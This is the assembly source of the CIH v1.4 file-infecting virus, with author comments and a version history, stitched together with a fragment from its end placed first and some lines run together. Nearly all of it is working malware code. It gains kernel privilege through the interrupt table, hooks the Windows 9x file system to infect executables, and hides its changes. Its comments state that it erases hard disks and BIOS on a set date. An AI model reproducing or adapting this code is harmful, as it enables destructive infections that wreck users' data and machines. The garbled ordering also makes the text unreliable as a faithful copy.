mov [eax], cl
mov [ecx], al
mov byte ptr [eax], 80h
mov [eax], cl
mov [ecx], alret; ***************************
; * IO for EEPROM *
; ***************************IOForEEPROM:
@10 = IOForEEPROMxchg eax, edi
xchg edx, ebp
out dx, eaxxchg eax, edi
xchg edx, ebp
in al, dxBooleanCalculateCode = $
or al, 44hxchg eax, edi
xchg edx, ebp
out dx, eaxxchg eax, edi
xchg edx, ebp
out dx, alret; *********************************************************
; * Static Data *
; *********************************************************LastVxDCallAddress = IFSMgr_Ring0_FileIO
VxDCallAddressTable db 00h
db IFSMgr_RemoveFileSystemApiHook-_PageAllocate
db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
db IFSMgr_Ring0_FileIO-UniToBCSPathVxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h
VxDCallTableSize = ($-VxDCallIDTable)/04h; *********************************************************
; * Virus Version Copyright *
; *********************************************************VirusVersionCopyright db 'CIH v'
db MajorVirusVersion+'0'
db '.'
db MinorVirusVersion+'0'
db ' TATUNG'; *********************************************************
; * Virus Size *
; *********************************************************VirusSize = $
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h); *********************************************************
; * Dynamic Data *
; *********************************************************VirusGameDataStartAddress = VirusSize
@6 = VirusGameDataStartAddress
OnBusy db 0
FileModificationTime dd ?FileNameBuffer db FileNameBufferSize dup(?)
@7 = FileNameBufferDataBuffer = $
@8 = DataBuffer
NumberOfSections dw ?
TimeDateStamp dd ?
SymbolsPointer dd ?
NumberOfSymbols dd ?
SizeOfOptionalHeader dw ?
_Characteristics dw ?
Magic dw ?
LinkerVersion dw ?
SizeOfCode dd ?
SizeOfInitializedData dd ?
SizeOfUninitializedData dd ?
AddressOfEntryPoint dd ?
BaseOfCode dd ?
BaseOfData dd ?
ImageBase dd ?
@9 = $
SectionAlignment dd ?
FileAlignment dd ?
OperatingSystemVersion dd ?
ImageVersion dd ?
SubsystemVersion dd ?
Reserved dd ?
SizeOfImage dd ?
SizeOfHeaders dd ?
SizeOfImageHeaderToRead = $-NumberOfSectionsNewAddressOfEntryPoint = DataBuffer ; DWORD
SizeOfImageHeaderToWrite = 04hStartOfSectionTable = @9
SectionName = StartOfSectionTable ; QWORD
VirtualSize = StartOfSectionTable+08h ; DWORD
VirtualAddress = StartOfSectionTable+0ch ; DWORD
SizeOfRawData = StartOfSectionTable+10h ; DWORD
PointerToRawData = StartOfSectionTable+14h ; DWORD
PointerToRelocations = StartOfSectionTable+18h ; DWORD
PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD
NumberOfRelocations = StartOfSectionTable+20h ; WORD
NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD
Characteristics = StartOfSectionTable+24h ; DWORD
SizeOfScetionTable = Characteristics+04h-SectionName; *********************************************************
; * Virus Total Need Memory *
; *********************************************************VirusNeedBaseMemory = $VirusTotalNeedMemory = @9
; + NumberOfSections(??)*SizeOfScetionTable(28h)
; + SizeOfVirusCodeSectionTableEndMark(04h)
; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
; + SizeOfTheFirstVirusCodeSectionTable(04h); *********************************************************
; *********************************************************VirusGame ENDSEND FileHeader
CIH v1.4源程序
; ****************************************************************************
; * The Virus Program Information *
; ****************************************************************************
; * *
; * Designer : CIH Source : TTIT of TATUNG in Taiwan *
; * Create Date : 04/26/1998 Now Version : 1.4 *
; * Modification Time : 05/31/1998 *
; * *
; * Turbo Assembler Version 4.0 : tasm /m cih *
; * Turbo Link Version 3.01 : tlink /3 /t cih, cih.exe *
; * *
; *==========================================================================*
; * Modification History *
; *==========================================================================*
; * v1.0 1. Create the Virus Program. *
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. *
; * 04/26/1998 3. Virus Code doesn't Reload into System. *
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *
; * 6. When System Opens Existing PE File, the File will be *
; * Infected, and the File doesn't be Reinfected. *
; * 7. It is also Infected, even the File is Read-Only. *
; * 8. When the File is Infected, the Modification Date and Time *
; * of the File also don't be Changed. *
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *
; * Previous FileSystemApiHook, it will Call the Function *
; * that the IFS Manager Would Normally Call to Implement *
; * this Particular I/O Request. *
; * 10. The Virus Size is only 656 Bytes. *
; *==========================================================================*
; * v1.1 1. Especially, the File that be Infected will not Increase *
; * it's Size... ^__^ *
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. *
; * When Exception Error Occurs, Our OS System should be in *
; * Windows NT. So My Cute Virus will not Continue to Run, *
; * it will Jmup to Original Application to Run. *
; * 3. Use Better Algorithm, Reduce Virus Code Size. *
; * 4. The Virus "Basic" Size is only 796 Bytes. *
; *==========================================================================*
; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... *
; * 2. Modify the Bug of v1.1 *
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. *
; *==========================================================================*
; * v1.3 1. Modify the Bug that WinZip Self-Extractor Occurs Error. *
; * So When Open WinZip Self-Extractor ==> Don't Infect it. *
; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes. *
; *==========================================================================*
; * v1.4 1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. *
; * 2. Change the Date of Killing Computers. *
; * 05/31/1998 3. Modify Virus Version Copyright. *
; * 4. The Virus "Basic" Size is 1019 Bytes. *
; ****************************************************************************.586P; ****************************************************************************
; * Original PE Executable File(Don't Modify this Section) *
; ****************************************************************************OriginalAppEXE SEGMENTFileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSizeOriginalAppEXE ENDS; ****************************************************************************
; * My Virus Game *
; ****************************************************************************; *********************************************************
; * Constant Define *
; *********************************************************TRUE = 1
FALSE = 0DEBUG = TRUEMajorVirusVersion = 1
MinorVirusVersion = 4VirusVersion = MajorVirusVersion*10h+MinorVirusVersion
IF DEBUGFirstKillHardDiskNumber = 81h
HookExceptionNumber = 05hELSEFirstKillHardDiskNumber = 80h
HookExceptionNumber = 03hENDIF
FileNameBufferSize = 7fh; *********************************************************
; *********************************************************VirusGame SEGMENTASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame; *********************************************************
; * Ring3 Virus Game Initial Program *
; *********************************************************MyVirusStart:
push ebp; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************lea eax, [esp-04h*2]xor ebx, ebx
xchg eax, fs:[ebx]call @0
@0:
pop ebxlea ecx, StopToRunVirusCode-@0[ebx]
push ecxpush eax; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;add ebx, HookExceptionNumber*08h+04h ; ZF = 0climov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Pointlea esi, MyExceptionHook-@1[ecx]push esimov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Addresspop esi; *************************************
; * Generate Exception to Get Ring0 *
; *************************************int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $; *************************************
; * Merge All Virus Code Section *
; *************************************push esi
mov esi, eaxLoopOfMergeAllVirusCodeSection:mov ecx, [eax-04h]rep movsbsub eax, 08hmov esi, [eax]or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1jmp LoopOfMergeAllVirusCodeSectionQuitLoopOfMergeAllVirusCodeSection:pop esi; *************************************
; * Generate Exception Again *
; *************************************int HookExceptionNumber ; GenerateException Again; *************************************
; * Let's Restore *
; * Structured Exception Handing *
; *************************************ReadyRestoreSE:
stixor ebx, ebxjmp RestoreSE; *************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
; * Continue to Run, it Jmups to *
; * Original Application to Run. *
; *************************************StopToRunVirusCode:
@1 = StopToRunVirusCodexor ebx, ebx
mov eax, fs:[ebx]
mov esp, [eax]RestoreSE:
pop dword ptr fs:[ebx]
pop eax; *************************************
; * Return Original App to Execute *
; *************************************pop ebppush 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stackret ; Return to Original App Entry Point; *********************************************************
; * Ring0 Virus Game Initial Program *
; *********************************************************MyExceptionHook:
@2 = MyExceptionHookjz InstallMyFileSystemApiHook; *************************************
; * Do My Virus Exist in System !? *
; *************************************mov ecx, dr0
jecxz AllocateSystemMemoryPageadd dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException; *************************************
; * Return to Ring3 Initial Program *
; *************************************ExitRing0Init:
mov [ebx-04h], bp ;
shr ebp, 16 ; Restore Exception
mov [ebx+02h], bp ;iretd; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************AllocateSystemMemoryPage:mov dr0, ebx ; Set the Mark of My Virus Exist in Systempush 00000000fh ;
push ecx ;
push 0ffffffffh ;
push ecx ;
push ecx ;
push ecx ;
push 000000001h ;
push 000000002h ;
int 20h ; VMMCALL _PageAllocate
_PageAllocate = $ ;
dd 00010053h ; Use EAX, ECX, EDX, and flags
add esp, 08h*04hxchg edi, eax ; EDI = SystemMemory Start Addresslea eax, MyVirusStart-@2[esi]iretd ; Return to Ring3 Initial Program; *************************************
; * Install My File System Api Hook *
; *************************************InstallMyFileSystemApiHook:lea eax, FileSystemApiHook-@6[edi]push eax ;
int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $ ;
dd 00400067h ; Use EAX, ECX, EDX, and flagsmov dr0, eax ; Save OldFileSystemApiHook Addresspop eax ; EAX = FileSystemApiHook Address; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx]
mov OldInstallFileSystemApiHook-@3[eax], edx; Modify IFSMgr_InstallFileSystemApiHook Entry Point
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eaxclijmp ExitRing0Init; *********************************************************
; * Code Size of Merge Virus Code Section *
; *********************************************************CodeSizeOfMergeVirusCodeSection = offset $; *********************************************************
; * IFSMgr_InstallFileSystemApiHook *
; *********************************************************InstallFileSystemApiHook:
push ebxcall @4 ;
@4: ;
pop ebx ; mov ebx, offset FileSystemApiHook
add ebx, FileSystemApiHook-@4 ;push ebx
int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook = $
dd 00400068h ; Use EAX, ECX, EDX, and flags
pop eax; Call Original IFSMgr_InstallFileSystemApiHook
; to Link Client FileSystemApiHook
push dword ptr [esp+8]
call OldInstallFileSystemApiHook-@3[ebx]
pop ecxpush eax; Call Original IFSMgr_InstallFileSystemApiHook
; to Link My FileSystemApiHook
push ebx
call OldInstallFileSystemApiHook-@3[ebx]
pop ecxmov dr0, eax ; Adjust OldFileSystemApiHook Addresspop eaxpop ebxret; *********************************************************
; * Static Data *
; *********************************************************OldInstallFileSystemApiHook dd ?; *********************************************************
; * IFSMgr_FileSystemHook *
; *********************************************************; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************FileSystemApiHook:
@3 = FileSystemApiHookpushadcall @5 ;
@5: ;
pop esi ; mov esi, offset VirusGameDataStartAddress
add esi, VirusGameDataStartAddress-@5; *************************************
; * Is OnBusy !? *
; *************************************test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy )
jnz pIFSFunc ; goto pIFSFunc; *************************************
; * Is OpenFile !? *
; *************************************; if ( NotOpenFile )
; goto prevhook
lea ebx, [esp+20h+04h+04h]
cmp dword ptr [ebx], 00000024h
jne prevhook; *************************************
; * Enable OnBusy *
; *************************************inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy; *************************************
; * Get FilePath's DriveNumber, *
; * then Set the DriveName to *
; * FileNameBuffer. *
; *************************************
; * Ex. If DriveNumber is 03h, *
; * DriveName is 'C:'. *
; *************************************; mov esi, offset FileNameBuffer
add esi, FileNameBuffer-@6push esimov al, [ebx+04h]
cmp al, 0ffh
je CallUniToBCSPathadd al, 40h
mov ah, ':'mov [esi], eaxinc esi
inc esi; *************************************
; * UniToBCSPath *
; *************************************
; * This Service Converts *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the *
; * Specified BCS Character Set. *
; *************************************CallUniToBCSPath:
push 00000000h
push FileNameBufferSize
mov ebx, [ebx+10h]
mov eax, [ebx+0ch]
add eax, 04h
push eax
push esi
int 20h ; VXDCall UniToBCSPath
UniToBCSPath = $
dd 00400041h
add esp, 04h*04h; *************************************
; * Is FileName '.EXE' !? *
; *************************************; cmp [esi+eax-04h], '.EXE'
cmp [esi+eax-04h], 'EXE.'
pop esi
jne DisableOnBusyIF DEBUG; *************************************
; * Only for Debug *
; *************************************; cmp [esi+eax-06h], 'FUCK'
cmp [esi+eax-06h], 'KCUF'
jne DisableOnBusyENDIF; *************************************
; * Is Open Existing File !? *
; *************************************; if ( NotOpenExistingFile )
; goto DisableOnBusy
cmp word ptr [ebx+18h], 01h
jne DisableOnBusy; *************************************
; * Get Attributes of the File *
; *************************************mov ax, 4300h
int 20h ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO = $
dd 00400032hjc DisableOnBusypush ecx; *************************************
; * Get IFSMgr_Ring0_FileIO Address *
; *************************************mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
mov edi, [edi]; *************************************
; * Is Read-Only File !? *
; *************************************test cl, 01h
jz OpenFile; *************************************
; * Modify Read-Only File to Write *
; *************************************mov ax, 4301h
xor ecx, ecx
call edi ; VXDCall IFSMgr_Ring0_FileIO; *************************************
; * Open File *
; *************************************OpenFile:
xor eax, eax
mov ah, 0d5h
xor ecx, ecx
xor edx, edx
inc edx
mov ebx, edx
inc ebx
call edi ; VXDCall IFSMgr_Ring0_FileIOxchg ebx, eax ; mov ebx, FileHandle; *************************************
; * Need to Restore *
; * Attributes of the File !? *
; *************************************pop ecxpushftest cl, 01h
jz IsOpenFileOK; *************************************
; * Restore Attributes of the File *
; *************************************mov ax, 4301h
call edi ; VXDCall IFSMgr_Ring0_FileIO; *************************************
; * Is Open File OK !? *
; *************************************IsOpenFileOK:
popfjc DisableOnBusy; *************************************
; * Open File Already Succeed. ^__^ *
; *************************************push esi ; Push FileNameBuffer Address to Stackpushf ; Now CF = 0, Push Flag to Stackadd esi, DataBuffer-@7 ; mov esi, offset DataBuffer; ***************************
; * Get OffsetToNewHeader *
; ***************************xor eax, eax
mov ah, 0d6h; For Doing Minimal VirusCode's Length,
; I Save EAX to EBP.
mov ebp, eaxpush 00000004h
pop ecx
push 0000003ch
pop edx
call edi ; VXDCall IFSMgr_Ring0_FileIOmov edx, [esi]; ***************************
; * Get 'PE\0' Signature *
; * of ImageFileHeader, and *
; * Infected Mark. *
; ***************************dec edxmov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO; ***************************
; * Is PE !? *
; ***************************
; * Is the File *
; * Already Infected !? *
; ***************************
; * WinZip Self-Extractor *
; * doesn't Have Infected *
; * Mark Because My Virus *
; * doesn't Infect it. *
; ***************************; cmp [esi], '\0PE\0'
cmp dword ptr [esi], 00455000h
jne CloseFile; *************************************
; * The File is ^o^ *
; * PE(Portable Executable) indeed. *
; *************************************
; * The File isn't also Infected. *
; *************************************; *************************************
; * Start to Infect the File *
; *************************************
; * Registers Use Status Now : *
; * *
; * EAX = 04h *
; * EBX = File Handle *
; * ECX = 04h *
; * EDX = 'PE\0\0' Signature of *
; * ImageFileHeader Pointer's *
; * Former Byte. *
; * ESI = DataBuffer Address ==> @8 *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump : *
; * *
; * ESP => ------------------------- *
; * | EFLAG(CF=0) | *
; * ------------------------- *
; * | FileNameBufferPointer | *
; * ------------------------- *
; * | EDI | *
; * ------------------------- *
; * | ESI | *
; * ------------------------- *
; * | EBP | *
; * ------------------------- *
; * | ESP | *
; * ------------------------- *
; * | EBX | *
; * ------------------------- *
; * | EDX | *
; * ------------------------- *
; * | ECX | *
; * ------------------------- *
; * | EAX | *
; * ------------------------- *
; * | Return Address | *
; * ------------------------- *
; *************************************push ebx ; Save File Handlepush 00h ; Set VirusCodeSectionTableEndMark; ***************************
; * Let's Set the *
; * Virus' Infected Mark *
; ***************************push 01h ; Size
push edx ; Pointer of File
push edi ; Address of Buffer; ***************************
; * Save ESP Register *
; ***************************mov dr1, esp; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Only First Set Size ) *
; ***************************push eax ; Size; ***************************
; * Let's Read *
; * Image Header in File *
; ***************************mov eax, ebp
mov cl, SizeOfImageHeaderToRead
add edx, 07h ; Move EDX to NumberOfSections
call edi ; VXDCall IFSMgr_Ring0_FileIO; ***************************
; * Let's Set the *
; * NewAddressOfEntryPoint *
; * ( Set Pointer of File, *
; * Address of Buffer ) *
; ***************************lea eax, (AddressOfEntryPoint-@8)[edx]
push eax ; Pointer of Filelea eax, (NewAddressOfEntryPoint-@8)[esi]
push eax ; Address of Buffer; ***************************
; * Move EDX to the Start *
; * of SectionTable in File *
; ***************************movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi]
lea edx, [eax+edx+12h]; ***************************
; * Let's Get *
; * Total Size of Sections *
; ***************************mov al, SizeOfScetionTable; I Assume NumberOfSections <= 0ffh
mov cl, (NumberOfSections-@8)[esi]mul cl; ***************************
; * Let's Set Section Table *
; ***************************; Move ESI to the Start of SectionTable
lea esi, (StartOfSectionTable-@8)[esi]push eax ; Size
push edx ; Pointer of File
push esi ; Address of Buffer; ***************************
; * The Code Size of Merge *
; * Virus Code Section and *
; * Total Size of Virus *
; * Code Section Table Must *
; * be Small or Equal the *
; * Unused Space Size of *
; * Following Section Table *
; ***************************inc ecx
push ecx ; Save NumberOfSections+1shl ecx, 03h
push ecx ; Save TotalSizeOfVirusCodeSectionTableadd ecx, eax
add ecx, edxsub ecx, (SizeOfHeaders-@9)[esi]
not ecx
inc ecx; Save My Virus First Section Code
; Size of Following Section Table...
; ( Not Include the Size of Virus Code Section Table )
push ecxxchg ecx, eax ; ECX = Size of Section Table; Save Original Address of Entry Point
mov eax, (AddressOfEntryPoint-@9)[esi]
add eax, (ImageBase-@9)[esi]
mov (OriginalAddressOfEntryPoint-@9)[esi], eaxcmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection
jl OnlySetInfectedMark; ***************************
; * Read All Section Tables *
; ***************************mov eax, ebp
call edi ; VXDCall IFSMgr_Ring0_FileIO; ***************************
; * Full Modify the Bug : *
; * WinZip Self-Extractor *
; * Occurs Error... *
; ***************************
; * So When User Opens *
; * WinZip Self-Extractor, *
; * Virus Doesn't Infect it.*
; ***************************
; * First, Virus Gets the *
; * PointerToRawData in the *
; * Second Section Table, *
; * Reads the Section Data, *
; * and Tests the String of *
; * 'WinZip(R)'...... *
; ***************************xchg eax, ebppush 00000004h
pop ecxpush edx
mov edx, (SizeOfScetionTable+PointerToRawData-@9)[esi]
add edx, 12hcall edi ; VXDCall IFSMgr_Ring0_FileIO; cmp [esi], 'nZip'
cmp dword ptr [esi], 'piZn'
je NotSetInfectedMarkpop edx; ***************************
; * Let's Set Total Virus *
; * Code Section Table *
; ***************************; EBX = My Virus First Section Code
; Size of Following Section Table
pop ebx
pop edi ; EDI = TotalSizeOfVirusCodeSectionTable
pop ecx ; ECX = NumberOfSections+1push edi ; Sizeadd edx, ebp
push edx ; Pointer of Fileadd ebp, esi
push ebp ; Address of Buffer; ***************************
; * Set the First Virus *
; * Code Section Size in *
; * VirusCodeSectionTable *
; ***************************lea eax, [ebp+edi-04h]
mov [eax], ebx; ***************************
; * Let's Set My Virus *
; * First Section Code *
; ***************************push ebx ; Sizeadd edx, edi
push edx ; Pointer of Filelea edi, (MyVirusStart-@9)[esi]
push edi ; Address of Buffer; ***************************
; * Let's Modify the *
; * AddressOfEntryPoint to *
; * My Virus Entry Point *
; ***************************mov (NewAddressOfEntryPoint-@9)[esi], edx; ***************************
; * Setup Initial Data *
; ***************************lea edx, [esi-SizeOfScetionTable]
mov ebp, offset VirusSizejmp StartToWriteCodeToSections; ***************************
; * Write Code to Sections *
; ***************************LoopOfWriteCodeToSections:add edx, SizeOfScetionTablemov ebx, (SizeOfRawData-@9)[edx]
sub ebx, (VirtualSize-@9)[edx]
jbe EndOfWriteCodeToSectionspush ebx ; Sizesub eax, 08h
mov [eax], ebxmov ebx, (PointerToRawData-@9)[edx]
add ebx, (VirtualSize-@9)[edx]
push ebx ; Pointer of Filepush edi ; Address of Buffermov ebx, (VirtualSize-@9)[edx]
add ebx, (VirtualAddress-@9)[edx]
add ebx, (ImageBase-@9)[esi]
mov [eax+4], ebxmov ebx, [eax]
add (VirtualSize-@9)[edx], ebx; Section contains initialized data ==> 00000040h
; Section can be Read. ==> 40000000h
or (Characteristics-@9)[edx], 40000040hStartToWriteCodeToSections:sub ebp, ebx
jbe SetVirusCodeSectionTableEndMarkadd edi, ebx ; Move Address of BufferEndOfWriteCodeToSections:loop LoopOfWriteCodeToSections; ***************************
; * Only Set Infected Mark *
; ***************************OnlySetInfectedMark:
mov esp, dr1jmp WriteVirusCodeToFile; ***************************
; * Not Set Infected Mark *
; ***************************NotSetInfectedMark:
add esp, 3chjmp CloseFile; ***************************
; * Set Virus Code *
; * Section Table End Mark *
; ***************************SetVirusCodeSectionTableEndMark:; Adjust Size of Virus Section Code to Correct Value
add [eax], ebp
add [esp+08h], ebp; Set End Mark
xor ebx, ebx
mov [eax-04h], ebx; ***************************
; * When VirusGame Calls *
; * VxDCall, VMM Modifies *
; * the 'int 20h' and the *
; * 'Service Identifier' *
; * to 'Call [XXXXXXXX]'. *
; ***************************
; * Before Writing My Virus *
; * to File, I Must Restore *
; * them First. ^__^ *
; ***************************lea eax, (LastVxDCallAddress-2-@9)[esi]mov cl, VxDCallTableSizeLoopOfRestoreVxDCallID:
mov word ptr [eax], 20cdhmov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
mov [eax+2], edxmovzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]
sub eax, edxloop LoopOfRestoreVxDCallID; ***************************
; * Let's Write *
; * Virus Code to the File *
; ***************************WriteVirusCodeToFile:
mov eax, dr1
mov ebx, [eax+10h]
mov edi, [eax]LoopOfWriteVirusCodeToFile:pop ecx
jecxz SetFileModificationMarkmov esi, ecx
mov eax, 0d601h
pop edx
pop ecxcall edi ; VXDCall IFSMgr_Ring0_FileIOjmp LoopOfWriteVirusCodeToFile; ***************************
; * Let's Set CF = 1 ==> *
; * Need to Restore File *
; * Modification Time *
; ***************************SetFileModificationMark:
pop ebx
pop eaxstc ; Enable CF(Carry Flag)
pushf; *************************************
; * Close File *
; *************************************CloseFile:
xor eax, eax
mov ah, 0d7h
call edi ; VXDCall IFSMgr_Ring0_FileIO; *************************************
; * Need to Restore File Modification *
; * Time !? *
; *************************************popf
pop esi
jnc IsKillComputer; *************************************
; * Restore File Modification Time *
; *************************************mov ebx, edimov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@7)[esi]
call ebx ; VXDCall IFSMgr_Ring0_FileIO; *************************************
; * Disable OnBusy *
; *************************************DisableOnBusy:
dec byte ptr (OnBusy-@7)[esi] ; Disable OnBusy; *************************************
; * Call Previous FileSystemApiHook *
; *************************************prevhook:
popadmov eax, dr0 ;
jmp [eax] ; Jump to prevhook; *************************************
; * Call the Function that the IFS *
; * Manager Would Normally Call to *
; * Implement this Particular I/O *
; * Request. *
; *************************************pIFSFunc:
mov ebx, esp
push dword ptr [ebx+20h+04h+14h] ; Push pioreq
call [ebx+20h+04h] ; Call pIFSFunc
pop ecx ;mov [ebx+1ch], eax ; Modify EAX Value in Stack; ***************************
; * After Calling pIFSFunc, *
; * Get Some Data from the *
; * Returned pioreq. *
; ***************************cmp dword ptr [ebx+20h+04h+04h], 00000024h
jne QuitMyVirusFileSystemHook; *****************
; * Get the File *
; * Modification *
; * Date and Time *
; * in DOS Format.*
; *****************mov eax, [ecx+28h]
mov (FileModificationTime-@6)[esi], eax; ***************************
; * Quit My Virus' *
; * IFSMgr_FileSystemHook *
; ***************************QuitMyVirusFileSystemHook:popadret; *************************************
; * Kill Computer !? ... *^_^* *
; *************************************IsKillComputer:
; Get Now Day from BIOS CMOS
mov al, 07h
out 70h, al
in al, 71hxor al, 26h ; ??/26/????IF DEBUG
jmp DisableOnBusy
ELSE
jnz DisableOnBusy
ENDIF; **************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
